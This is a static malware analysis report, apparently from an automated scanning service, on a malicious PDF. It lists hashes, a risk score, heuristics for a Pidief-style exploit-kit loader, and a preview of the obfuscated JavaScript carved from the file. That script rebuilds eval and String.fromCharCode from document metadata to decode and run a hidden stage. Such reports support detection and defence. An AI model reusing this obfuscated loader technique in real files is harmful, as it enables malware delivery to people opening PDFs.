Malicious PDF — malware analysis report

Static analysis result for SHA-256 fe163f3cc61ba99c…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-09
MD5: e0773701962b304b5f072d0ec07931a5 SHA-1: 88177a8c002892dd3b49f2e4ae35ad62057eef76 SHA-256: fe163f3cc61ba99c6414a4fd65cc52ae103eac6cd8874e0cfe94e9e28b2cce18
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious Link: Malicious File

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to exploit a vulnerability within the PDF reader. The JavaScript is likely intended to download and execute a second-stage payload. The file's SHA256 hash is provided as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFAD 443 bytes
SHA-256: 166a7f448eb5f6b02936b6a54136e70937d473eba8863bc713434bfb6e5d3775
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
rxo=e('ti'.concat(v[4],t));
q=rxo[v](a.length-6,a.length+2);
hgb=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=rxo[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	qhxcv = 1*(q[i]);
	i++;
	qhxcv -= (-1)*(q[i]);
	s2 = s2.concat(hgb(qhxcv));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.